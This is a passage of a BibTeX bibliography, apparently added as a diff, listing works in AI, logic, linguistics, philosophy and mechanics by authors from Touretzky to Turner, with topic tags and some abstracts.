= {Morgan Kaufmann}, + year = {1986}, + address = {Los Altos, California}, + topic = {inheritance-theory;} + } + +@unpublished{ touretzky:1986b, + author = {David S. Touretzky}, + title = {Coupling and Double Diamond}, + year = {1986}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {inheritance-theory;} + } + +@unpublished{ touretzky:1986c, + author = {David S. Touretzky}, + title = {Coupling and Directionality}, + year = {1986}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {inheritance-theory;} + } + +@unpublished{ touretzky:1986d, + author = {David S. Touretzky}, + title = {Issues in the Design of Inheritance Systems}, + year = {1986}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + topic = {inheritance-theory;} + } + +@inproceedings{ touretzky-etal:1987a, + author = {David S. Touretzky and John F. Horty and Richmond H. + Thomason}, + title = {A Clash of Intuitions: the Current State of Nonmonotonic + Multiple Inheritance Systems}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + editor = {John McDermott}, + pages = {476--482}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + topic = {inheritance-theory;} + } + +@article{ touretzky-hinton:1988a, + author = {David S. Touretzky and Geoffrey E. Hinton}, + title = {A Distributed Connectionist Production System}, + journal = {Cognitive Science}, + year = {1988}, + volume = {12}, + pages = {423--466}, + missinginfo = {number}, + topic = {rule-based-reasoning;distributed-processing; + connectionist-models;} + } + +@inproceedings{ touretzky-thomason:1988a, + author = {David S. Touretzky and Richmond H. Thomason}, + title = {Nonmonotonic Inheritance and Generic Reflexives}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence, Volume 2}, + year = {1988}, + editor = {Reid Smith and Tom Mitchell}, + pages = {433--438}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {inheritance-theory;} + } + +@article{ touretzky:1990a, + author = {David S. Touretzky}, + title = {{BoltzCONS}: Dynamic Symbol Structures in a Connectionist Network}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {1--2}, + pages = {5--46}, + topic = {connectionist-plus-symbolic-architectures;simulated-annealing;} + } + +@inproceedings{ touretzky-thomason_rh:1990a, + author = {David S. Touretzky and Richmond H. Thomason}, + title = {An Inference Algorithm for Networks that Mix Strict + and Defeasible Inheritance and Relations}, + booktitle = {Methodologies for Intelligent Systems: Proceedings of + the Fifth International Symposium}, + year = {1990}, + editor = {Z. Ras and M. Zemankova and M. Emrich}, + pages = {212--225}, + publisher = {North-Holland}, + address = {Amsterdam}, + topic = {inhertiance-theory;} + } + +@unpublished{ touretzky-wheeler_dw:1990a, + author = {David S. Touretzky and Deirdre W. Wheeler}, + title = {A Computational Basis for Phonology}, + year = {1990}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + Morgan Kaufmann.}, + topic = {phonology;connectionist-models;} + } + +@unpublished{ touretzky-wheeler_dw:1990b, + author = {David S. Touretzky and Deirdre W. Wheeler}, + title = {Two Derivations Suffice: The Role of Syllabification + in Cognitive Phonology}, + year = {1990}, + note = {Unpublished manuscript, Carnegie Mellon University.}, + Parsing Project Working Papers 3.}, + topic = {phonology;connectionist-models;} + } + +@inproceedings{ touretzky-etal:1991a, + author = {David S. Touretzky and Richmond H. Thomason and John F. + Horty}, + title = {A Skeptic's Menagerie: Conflictors, Preemptors, Reinstaters, + and Zombies in Nonmonotonic Inheritance}, + booktitle = {Proceedings of the Twelfth International Joint + Conference on Artificial Intelligence}, + year = {1991}, + editor = {Barbara J. Grosz and John Mylopoulos}, + pages = {478--483}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic= {inheritance-theory;} + } + +@article{ touretzky:1993a, + author = {David S. Touretzky}, + title = {Review of {\it Neural Networks in Artificial + Intelligence}, by {M}atthew {Z}eidenberg}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {1}, + pages = {163--164}, + topic = {connectionism;} + } + +@book{ toussaint:1985a, + editor = {Godfried T. Toussaint}, + title = {Computational Geometry}, + publisher = {North-Holland}, + year = {1985}, + address = {Amsterdam}, + ISBN = {0444878068 (U.S.)}, + topic = {computational-geometry;} + } + +@book{ toussaint:1988a, + editor = {Godfried T. Toussaint}, + title = {Computational Morphology: A Computational Geometric Approach to + the Analysis of form}, + publisher = {Elsevier Science Publishers}, + year = {1988}, + address = {Amsterdam}, + ISBN = {0444704671 (U.S.)}, + topic = {computational-geometry;} + } + +@incollection{ tovena:1999a, + author = {L.M. Tovena}, + title = {The Use of Context in the Analysis of + Negative Concord and {N}-Words}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {519--522}, + address = {Berlin}, + topic = {context;agreement;} + } + +@article{ towell-shavlik:1994a, + author = {Geoffrey G. Towell and Jude W. Shavlik}, + title = {Knowledge-Based Artificial Neural Networks}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {70}, + number = {1--2}, + pages = {119--165}, + acontentnote = {Abstract: + Hybrid learning methods use theoretical knowledge of a domain + and a set of classified examples to develop a method for + accurately classifying examples not seen during training. The + challenge of hybrid learning systems is to use the information + provided by one source of information to offset information + missing from the other source. By so doing, a hybrid learning + system should learn more effectively than systems that use only + one of the information sources. KBANN (Knowledge-Based + Artificial Neural Networks) is a hybrid learning system built on + top of connectionist learning techniques. It maps + problem-specific "domain theories", represented in propositional + logic, into neural networks and then refines this reformulated + knowledge using backpropagation. KBANN is evaluated by + extensive empirical tests on two problems from molecular + biology. Among other results, these tests show that the + networks created by KBANN generalize better than a wide variety + of learning systems, as well as several techniques proposed by + biologists. } , + topic = {connectionist-modeling;explanation-based-learning; + machine-learning;} + } + +@article{ towell-voorhees:1998a, + author = {Geoffrey Towell and Ellen M. Voorhees}, + title = {Discriminating Highly Ambiguous Words}, + journal = {Computational Linguistics}, + year = {1998}, + volume = {24}, + number = {1}, + pages = {125--145}, + topic = {computational-lexicography;lexical-disambiguation; + connectionist-models;} + } + +@incollection{ towsey-etal:1998a, + author = {Michael Towsey and Joachim Diederich and Ingo Schellhammer + and Stephen Chalup and Claudia Brugman}, + title = {Natural Language Learning by Recurrent Neural Networks: + A Comparison with Probabilistic Approaches}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {3--10}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;} + } + +@incollection{ tracey-moran:1983a, + author = {Karen Tracey and John P. {Moran, III}}, + title = {Conversational Relevance in Multiple-Goal Settings}, + booktitle = {Conversational Coherence: Form, Structure and Strategy}, + publisher = {Sage Publications}, + year = {1983}, + editor = {Robert T. Craig and Karen Tracey}, + pages = {116--135}, + address = {London}, + topic = {discourse-coherence;relevance;discourse-analysis;pragmatics;} + } + +@incollection{ trakhtenbrot:1988a, + author = {Boris A. Trakhtenbrot}, + title = {Conparing the {C}hurch and {T}uring + Approaches: Two Prophetical Messages}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {603--630}, + address = {Oxford}, + topic = {Turing;Church;Church's-thesis;lambda-calculus;} + } + +@book{ trask:1996a, + author = {R.L Trask}, + title = {Historical Linguistics}, + publisher = {St. Martin's Press}, + year = {1996}, + address = {New York}, + missinginfo = {A's 1st name.}, + topic = {semantic-change;historical-linguistics;} + } + +@book{ traugott-etal:1986a, + editor = {Elizabeth Traugott and Alice {ter Meulen} and Judy Reilly + and Charles Ferguson}, + title = {On Conditionals}, + publisher = {Cambridge University Press}, + year = {1986}, + address = {Cambridge, England}, + contentnote = {TC: + 1. Charles A. Ferguson and Judy Snitzer Reilly and Alice + ter Meulen and Elizabeth Closs Traugott, "Overview", pp. 3--20 + 2. Jon Barwise, "Conditionals and Conditional + Information", pp. 21--54 + 3. Philip N. Johnson-Laird, "Conditionals and Mental + Models", pp. 55--76 + 4. Bernard Comrie, "Conditionals: A Typology", pp. 77--101 + 5. Tanya Reinhart, "On the Interpretation of + `Donkey'-Sentences", pp. 103--122 + 6. Alice ter Meulen, "Generic Information, Conditional + Contexts and Constraints", pp. 123--146 + 7. Frank Veltman, "Data Semantics and the Pragmatics of + Indicative Conditionals", pp. 147--168 + 8. Ernest W. Adams, "Remarks on the Semantics and Pragmatics of + Conditionals", pp. 169--179 + 9. Samuel Fillenbaum, "The Use of Conditionals in Inducements + and Deterrents", pp. 179--196 + 10. Johan van der Auwera, "Conditionals and Speech + Acts", pp. 197--214 + 11. John Haiman, "Constraints on the Form and Meaning of the + Protasis", pp. 215--228 + 12. Ekkehard K\"onig, "Conditionals, Concessive Conditionals + and Concessives: Areas of Contrast, Overlap, + and Neutralization", pp. 229--246 + 13. Joseph H. Greenberg, "The Realis-Irrealis Continuum in the + Classical {G}reek Conditional", pp. 247--264 + 14. Martin B. Harris, "The Historical Development of + {\sc si}-Clauses in {R}omance", pp. + 15. Melissa Bowerman, "First Steps in Acquiring + Conditionals", pp. 285--308 + 16. Judy Snitzer Reilly, "The Acquisition of Temporals and + Conditionals", pp. 309--332 + 17. Cecilia Ford and Sandra A. Thompson, "Conditionals in + Discourse: A Text-Based Study from + {E}nglish", pp. 353--372 + } , + topic = {conditionals;} + } + +@phdthesis{ traum:1994a, + author = {David R. Traum}, + title = {A Computational Theory of Grounding in Natural Language + Conversation}, + school = {Department of Computer Science, University of Rochester}, + year = {1994}, + type = {Ph.{D}. Dissertation}, + address = {Rochester, New York}, + topic = {conversational-record;computational-dialogue;speech-acts;} + } + +@inproceedings{ traum-allen_jf:1994a, + author = {David R. Traum and James F. Allen}, + title = {Discourse Obligations in Dialogue Processing}, + booktitle = {Proceedings of the Thirty-Second Meeting of the + Association for Computational Linguistics}, + year = {1994}, + editor = {James Pustejovsky}, + pages = {1--8}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse;pragmatics;} + } + +@inproceedings{ traum:1995a, + author = {David R. Traum}, + title = {Social Agency and Rationality}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {150--153}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {communications-modeling;} + } + +@unpublished{ traum-etal:1996a, + author = {David R. Traum and James F. Allen and P.A. Heeman and C.H. + Hwang and N. Martin and M. Poesio and Lenhart K. Schubert}, + title = {Integrating Natural Language Understanding and Plan + Reasoning in the {TRAINS}-93 Conversation System}, + year = {1996}, + note = {Unpublished Manuscript, Computer Science Department, + University of Rochester.}, + missinginfo = {A's 1st names}, + topic = {nl-interpretation;plan-recognition;} + } + +@techreport{ traum-etal:1996b, + author = {Massimo Poesio and George Ferguson and Peter A. Heeman + and Chung-Hee Hwang and David R. Traum}, + title = {Knowledge Representation in the {TRAINS} System}, + institution = {Computer Science Department, University of Rochester}, + number = {633}, + year = {1996}, + address = {Rochester, New York}, + xref = {See poesio-etal:1996a for earlier version.}, + topic = {nl-interpretation;knowledge-representation;kr-course;} + } + +@inproceedings{ traum:1999a, + author = {David R. Traum}, + title = {Computational Models of Grounding in Collaborative + Systems}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {124--131}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;conversational-record;} + } + +@inproceedings{ traum-andersen:1999a, + author = {David Traum and Carl Andersen}, + title = {Representations of Dialogue State for Domain and Task + Independent Meta-Dialogue}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {113--120}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;context;} + } + +@incollection{ traum-nakatani:1999a, + author = {David R. Traum and Christine H. Nakatani}, + title = {A Two-Level Approach to Coding Dialogue for Discourse + Structure: Activities of the 1998 {DRI} Working Group + on Higher-Level Structures}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {101--108}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;discourse-structure;} + } + +@inproceedings{ traverso-spalazzi:1995a, + author = {Paolo Traverso and Luca Spalazzi}, + title = {A Logic for Acting, Sensing, and Planning}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1941--1947}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {action;action-formalisms;foundations-of-robotics;} + } + +@article{ travis:1985a, + author = {Charles Travis}, + title = {Vagueness, Observation, and the Sorites}, + journal = {Mind}, + year = {1985}, + volume = {94}, + pages = {345--366}, + topic = {vagueness;sorites-paradox;} + } + +@article{ travis:1995a, + author = {Charles Travis}, + title = {Order out of Messes: Akeel Bilgami: `Belief + and Meaning'\, } , + journal = {Mind}, + year = {1995}, + volume = {104}, + number = {413}, + pages = {133--144}, + topic = {belief;philosophy-of-mind;} + } + +@article{ travis:1998a, + author = {Charles Travis}, + title = {Sublunary Intuitionism}, + journal = {Grazer Philosophical Studien}, + year = {1998}, + volume = {55}, + pages = {169--194}, + missinginfo = {number}, + topic = {truth;truth-value-gaps;} + } + +@incollection{ trentin-etal:1998a, + author = {Edmondo Trentin and Yoshua Bengio and Cesare + Furlanello and Renato de Mori}, + title = {Neural Networks for Speech Recognition}, + booktitle = {Spoken Dialogues with Computers}, + publisher = {Academic Press}, + year = {1998}, + editor = {Renato de Mori}, + pages = {311--361}, + address = {New York}, + topic = {speech-recognition;neural-networks;} + } + +@incollection{ treur:1994a, + author = {Jan Treur}, + title = {Temporal Semantics of Meta-Level Architectures + for Dynamic Control of Reasoning}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {353--376}, + address = {Berlin}, + topic = {metaprogramming;semantics-of-programming-languages;} + } + +@article{ trigg:1968a, + author = {Roger Trigg}, + title = {Moral Conflict}, + journal = {Mind}, + year = {1968}, + volume = {77}, + number = {305}, + pages = {41--55}, + topic = {moral-conflict;} + } + +@article{ trillas-etal:2000a, + author = {Enric Trillas and Susana Cubillo and Elena Casti ^–eira}, + title = {On Conjectures in Orthocomplemented Lattices}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {2}, + pages = {255--275}, + acontentnote = {Abstract: + A mathematical model for conjectures in orthocomplemented + lattices is presented. After defining when a conjecture is a + consequence or a hypothesis, some operators of conjectures, + consequences and hypotheses are introduced and some properties + they show are studied. This is the case, for example, of being + monotonic or non-monotonic operators. + As orthocomplemented lattices contain orthomodular lattices and + Boolean algebras, they offer a sufficiently broad framework to + obtain some general results that can be restricted to such + particular, but important, lattices. This is, for example, the + case of the structure's theorem for hypotheses. Some results + are illustrated by examples of mathematical or linguistic + character, and an appendix on orthocomplemented lattices is + included. } , + topic = {relevance-logic;hypothetical-reasoning;} + } + +@book{ troelstra:1977a, + author = {A.S. Troelstra}, + title = {Choice Sequences: A Chapter of Intuitionistic Mathematics}, + publisher = {Oxford Univesity Press}, + year = {1977}, + address = {Oxford}, + missinginfo = {A's 1st name.}, + topic = {intuitionistic-logic;intuitionistic-mathematics;choice-sequences;} + } + +@article{ troelstra:1983a, + author = {A.S. Troelstra}, + title = {Analysing Choice Sequences}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {2}, + pages = {197--260}, + topic = {intuitionistic-mathematics;intuitionistic-logic;choice-sequences;} + } + +@incollection{ troelstra:1998a, + author = {A.S. Troelstra}, + title = {Realizability}, + booktitle = {Handbook of Proof Theory}, + publisher = {Elsevier Science Publishers}, + year = {1998}, + editor = {Samuel R. Buss}, + pages = {407--473}, + address = {Amsterdam}, + xref = {Review: arai:1998a.}, + topic = {proof-theory;realizability;} + } + +@book{ troelstra-schwichtenberg:2000a, + author = {A.S. Troelstra and H. Schwichtenberg}, + title = {Basic Proof Theory}, + edition = {2}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + xref = {Review: dyckhoff:2001a.}, + topic = {proof-theory;} + } + +@book{ truemper:1998a, + author = {Klause Truemper}, + title = {Effective Logic Computation}, + publisher = {John Wiley and Sons}, + year = {1998}, + address = {New York}, + xref = {Review: hendriks:1999a.}, + topic = {model-construction;} + } + +@article{ truesdell:1958a, + author = {Clifford Truesdell}, + title = {Recent Advances in Rational Mechanics}, + journal = {Science}, + year = {1958}, + volume = {127}, + pages = {729--739}, + topic = {rational-mechanics;} + } + +@book{ truesdell:1966a, + author = {Clifford Truesdell}, + title = {Six Lectures on Modern Natural Philosophy}, + publisher = {Springer-Verlag}, + year = {1966}, + address = {Berlin}, + ISBN = {0631170758}, + topic = {rational-mechanics;popular-physics;foundations-of-physics;} +} + +@book{ truesdell:1968a, + author = {Clifford Truesdell}, + title = {Essays in the History of Mechanics}, + publisher = {Springer-Verlag}, + year = {1968}, + topic = {history-of-physics;} + } + +@incollection{ truesdell:1968b, + author = {Clifford Truesdell}, + title = {The Creation and Unfolding of the Concept of Stress}, + booktitle = {Essays in the History of Mechanics}, + publisher = {Springer-Verlag}, + year = {1968}, + pages = {184--238}, + address = {Berlin}, + topic = {history-of-physics;} + } + +@book{ truesdell:1977a, + author = {Clifford Ambrose Truesdell}, + title = {A First Course in Rational Continuum Mechanics}, + publisher = {Academic Press}, + year = {1977}, + volume = {1: General Concepts}, + edition = {Second}, + address = {New York}, + topic = {rational-mechanics;} + } + +@book{ truesdell:1984a, + author = {Clifford Truesdell}, + title = {An Idiot's Fugitive Essays on Science: + Methods, Criticism, Training, Circumstances}, + publisher = {Springer-Verlag}, + year = {1984}, + address = {Berlin}, + contentnote = {TC: + 1. Experience, THeory and Experiment + 2. The Field Viewpoint in Classical Physics + 3. Modern Continuum Mechanics in Adolescence + 4. Purpose, Method, and Program of Nonlinear Continuum Mechanics + 5. War, Socialism and Quantum Mechanics + 6. The Tradition of Elasticity + 7. Statistical Mechanics and Continuum Mechanics + 10. Our Debts to the French Tradition: `Catastrophes' and + Our Search for Structure Today + 11. Draw from the Model and Imitate the Antique + 12. The Role of Mathematics in Science as Exemplified by + the Work of the {B}ernoulis and {E}uler + 13. Conceptual Analysis + 14. A Comment on Scientific Writing + 15. Goldstein's Classical Mathematics + 16. Murnaghan's `Finite Descriuption of an Elastic Solid' + 17. Dugas' Historie de la M\'echanique + 18. Jammer's Concepts of Mass in Classical and Modern Physics + 19. Clagett's The Science of Mechanics in the Middle Ages + 20. Stevin's Works on Mechanics + 21. Dugas' La M\'echanique + 22. Costabel's Leibniz and Dynamics + 23. John Bernouli and L'Hospital + 24. The Works of James Bernouli + 25. Daniel Bernouli's Hydrodymica + 26. Rouse and Ince's History of Hydaulics + 27. Hankins' Jean d'Alembert + 28. The Mathematical and Physical Papers of G.G. Stokes + 29. Gillmor's Coulomb + 30. Timoshenko's History of Strength of Materials + 31. Szab\'o's Geschichte der mechanischen Prinzipien und + ihrer wichtigsten Anwendungen + 32. Genius Conquers and Despises the Establishment: Newton + 33. Genius Turns the Establishment to Profit: Euler + 34. The Establishment Stifles Genius: Herapath and Waterson + 35. Genius and The Establishment at a Polite Standstill in + the Modern University: Bateman + 36. The Scholar's Workshop and Tools + 37. Has the Private University a Future? + 38. Is There a Philosophy of Science? + 39. Supesian Stews + 40. The Scholar: A Species Threatened by the Professions + 41. The Computer: Ruin of Science and Threat to Mankind + 42. Of All and of None + } , + ISBN = {0-378-90703-3}, + topic = {essays-on-science;} +} + +@incollection{ truesdell:1984b, + author = {Clifford Truesdell}, + title = {The Computer: Ruin of Science and Threat to Mankind}, + booktitle = {An Idiot's Fugitive Essays on Science: + Methods, Criticism, Training, Circumstances}, + publisher = {Springer-Verlag}, + year = {1984}, + pages = {594--631}, + address = {Berlin}, + topic = {philosophy-of-computation;social-impact-of-computation;} + } + +@book{ truesdell:1984c, + author = {Clifford Truesdell}, + title = {Rational Thermodynamics}, + edition = {2}, + publisher = {Springer-Verlag}, + year = {1984}, + address = {Berlin}, + ISBN = {0387908749}, + topic = {thermodynamics;} +} + +@book{ truesdell-noll:1992a, + author = {Clifford Truesdell and Walter Noll}, + edition = {2}, + title = {The Non-Linear Field Theories of Mechanics}, + publisher = {Springer-Verlag}, + year = {1992}, + address = {Berlin}, + ISBN = {3540550984 (Berlin: acid-free paper)}, + topic = {field-theory;nonlinear-mathematics;} +} + +@article{ tsang:1998a, + author = {Edward Tsang}, + title = {No More `Partial' and `Full Looking Ahead'\, } , + journal = {Artificial Intelligence}, + year = {1998}, + volume = {98}, + number = {1--2}, + pages = {351--361}, + topic = {search;constaint-satisfaction;} + } + +@incollection{ tschichold-etal:1997a, + author = {Cornelia Tschichold and Franck Bodmer and Etienne Cornu and + Francois Grosjean and Lysiane Grojean and Natalie + Kubler and Nicholas Lewy and Corinne Tschumi}, + title = {Developing a New Grammar Checker for {E}nglish as a Second + Language}, + booktitle = {From Research to Commercial Applications: Making + {NLP} Work in Practice}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {7--12}, + address = {Somerset, New Jersey}, + topic = {grammar-checking; + intelligent-computer-assisted-language-instruction;} + } + +@article{ tsohatzidis:1986a, + author = {Savas Tsohatzidis}, + title = {Four Types of Counterexample to the Latest Test + for Perlocutionary Act Names}, + journal = {Linguistics and Philosophy}, + year = {1986}, + volume = {9}, + number = {2}, + pages = {219--223}, + topic = {speech-acts;} + } + +@book{ tsohatzidis:1994a, + editor = {Savas L. Tsohatzidis}, + title = {Foundations of Speech Act Theory: Philosophical and Linguistic + Perspectives}, + publisher = {Routledge}, + year = {1994}, + address = {London}, + ISBN = {0415095247}, + topic = {speech-acts;} + } + +@article{ tsotsos:1995a, + author = {John K. Tsotsos}, + title = {Behaviorist Intelligence and the Scaling Problem}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {135--160}, + acontentnote = {Abstract: + This paper argues that the strict computational behaviorist + position for the modeling of intelligence does not scale to + human-like problems and performance. This is accomplished by + showing that the task of visual search can be viewed within the + behaviorist framework and that the ability to search images (or + any other sensory field) of the world to find stimuli on which + to act is a necessary component of any behaving, intelligent + agent. If targets are not explicitly known and used to help + optimize search, the search problem is NP-hard. Knowledge of the + target is of course explicitly forbidden in the strict + interpretation of the published behaviorist dogma. Also, the + paper summarizes the existing neurobiological and behavioral + realities as they pertain to behaviorist claims. The conclusion + is that there is very little support from biology for strict + behaviorism. Strict adherence to the philosophy of the + behaviorists means that efforts to demonstrate that the paradigm + scales to human-size problems are certain to fail, as are + attempts to evaluate it as a model of human intelligence. The + strict position thus cannot be what the behaviorists really + mean. It would benefit the research community if they could + elucidate their terms, and provide theoretical arguments that + support claims of scalability. } , + topic = {foundations-of-cognitive-science;behaviorism;complexity-in-AI;} + } + +@incollection{ tsovaltzi-matheson:2002a, + author = {Dimitra Tsovaltzi and Colin Matheson}, + title = {Formalizing Hinting in Tutorial Dialogues}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {185--192}, + address = {Edinburgh}, + topic = {intelligent-tutoring;computational-dialogue;} + } + +@article{ tsuji-etal:1998a, + author = {Marcelo Tsuji and Newton C.A. da Costa and Francisco + A. Doria}, + title = {The Incompleteness of Theories of Games}, + journal = {Journal of Philosophical Logic}, + year = {1998}, + volume = {27}, + number = {6}, + pages = {553--568}, + topic = {foundations-of-game-theory;(in)completeness;} + } + +@book{ tully:1988a, + editor = {James Tully}, + title = {Meaning and Context: {Q}uentin {S}kinner and His Critics}, + publisher = {Polity Press}, + year = {1988}, + address = {Cambridge, England}, + ISBN = {0745601243}, + topic = {context;nl-semantics;} + } + +@book{ tuomela:1977a, + author = {Raimo Tuomela}, + title = {Human Action and Its Explanation: A Study on the Philosophical + Foundations of Psychology}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + address = {Dordrecht}, + ISBN = {902770824X}, + topic = {philosophy-of-action;} + } + +@incollection{ tuomela:1989a, + author = {Raimo Tuomela}, + title = {Actions by Collectives}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {471--496}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {group-action;} + } + +@incollection{ tuomela:1994a, + author = {Raimo Tuomela}, + title = {Action Generation}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {282--301}, + address = {Helsinki}, + topic = {action;group-action;} + } + +@book{ tuomela:1995a, + author = {Raimo Tuomela}, + title = {The Importance of Us}, + publisher = {Stanford University Press}, + year = {1995}, + topic = {group-action;social-philosophy;} + } + +@article{ tur-etal:2001a, + author = {G\"okhan T\"ur and Dilek Hakkani-T\"ur and Andreas + Stolcke and Elizabeth Shriberg}, + title = {Integrating Prosodic and Lexical Cues for Automatic Topic + Segmentation}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {31--57}, + topic = {speech-segmentation;prosody;statistical-nlp;} + } + +@incollection{ turan:1997a, + author = {Umit Deniz Turan}, + title = {Ranking Forward-Looking Centers in + {T}urkish: Universal and Language-Specific Properties}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {139--160}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;Turkish-language; + centering;} + } + +@article{ turing:1936a, + author = {Alan M. Turing}, + year = {1936}, + title = {On Computable Numbers With an Application to the + {E}ntscheidungsproblem}, + journal = {Proceedings of the London Mathematical Society Series 2}, + volume = {42}, + pages = {230--265}, + topic = {computability;logic-classic;} + } + +@incollection{ turmo-rodriguez_h:2000a, + author = {J. Turmo and H. Rodr\'iguez}, + title = {Learning {IE} Rules for a Set + of Related Concepts}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {115--118}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;text-skimming;} + } + +@article{ turnbull:1962a, + author = {Robert G. Turnbull}, + title = {Ockham's Nominalistic Logic: Some Twentieth Century Reflections}, + journal = {The New Scholasticism}, + year = {1962}, + volume = {36}, + number = {3}, + pages = {313--329}, + topic = {scholastic-philosophy;} + } + +@incollection{ turner_eh-etal:1999a, + author = {Elise H. Turner and Roy M. Turner and John Phelps and + Mark Neal and Charles Grunden and Jason Mailmen}, + title = {Aspects of Context for Understanding Multi-Modal + Communication}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {523--526}, + address = {Berlin}, + topic = {context;multimodal-communication;} + } + +@incollection{ turner_eh-turner_rm:2001a, + author = {Elise H. Turner and Roy M. Turner}, + title = {Representing the Graphics Context to Support Understanding + Plural Anaphora in Multi-Modal Interfaces}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {330--342}, + address = {Berlin}, + topic = {context;anaphora;plural;multimodal-communication;} + } + +@inproceedings{ turner_h:1996a, + author = {Hudson Turner}, + title = {Splitting a Default Theory}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {645--651}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {default-logic;} + } + +@article{ turner_h:1997a, + author = {Hudson Turner}, + title = {Representing Actions in Logic Programs and Default + Theories: A Situation Calculus Approach}, + journal = {Journal of Logic Programming}, + year = {1997}, + volume = {298}, + number = {31}, + pages = {245--298}, + topic = {nonmonotonic-logic;action-formalisms;causality;frame-proiblem;} + } + +@article{ turner_h:1999a, + author = {Hudson Turner}, + title = {A Logic of Universal Causation}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {87--123}, + topic = {nonmonotonic-logic;action-formalisms;causality;} + } + +@book{ turner_k:1999a, + editor = {Ken Turner}, + title = {The Semantic/Pragmatics Interface from 